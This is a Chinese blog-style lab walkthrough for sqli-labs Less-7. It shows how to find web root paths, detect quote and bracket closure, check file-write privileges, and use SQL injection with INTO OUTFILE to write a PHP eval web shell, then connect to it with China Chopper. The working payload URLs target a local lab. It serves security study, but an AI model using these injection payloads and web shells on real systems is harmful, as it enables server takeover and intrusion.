sqli-libs(7)

导出文件GET字符型注入

0x01介绍

导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面

常用的语句是:  select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)

这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就/var/www/htm,/var/www/html/htdocs

0x02获取路径下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)

首先介绍两个可以说是函数,还是变量的东西

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

http://127.0.0.1/sql1/Less-7/?id=1%27%20))union%20select%20null,@@datadir,@@basedir%23

可以看看源码吗 因为不看源码我更本不知道他是加了两个括号  我的天!!!

当然也可以自己测试闭合的条件,1' fail,1" fail,1') fail,1") fail,1')) OK!要问怎么测试是否闭合?方法很多,比方说下面的测试过程

那对于此处注入 没有输出 没有报错 信息回显 我们可以干嘛呐???

可以写入文件 别问我为什么知道 他上面谢了outfile   可是我们不知道他的绝对路径 从何写入

判断是否有写权限,可以判断有写权限

            http://127.0.0.1/sql1/Less-7?id=1')) and (select count(*)from mysql.user)>0 --+ //如果返回正常则有读写权限

没办法了 这里只有从第一关来获取了

http://127.0.0.1/sql1/Less-1/?id=-1%27%20union%20select%20null,@@datadir,@@basedir%20%23

 

好的 那我们知道了绝对路径 那接下来 我们尝试着写入一句话

0x03爱之终极突破

写入一句话

http://127.0.0.1/sql1/Less-7/?id=1%27))%20union%20select%20null,null,%27%3C?php%20@eval($_POST[qi]);?%3E%27%20into%20outfile%20%22C:\\phpStudy1\\PHPTutorial\\WWW\\zhong.php%22%20%23

然后菜刀连接

window系统的无法写入解决方法

 

改成完全控制即可

学习之路 无浮躁 少就是多

猜你喜欢

转载自www.cnblogs.com/-zhong/p/10904023.html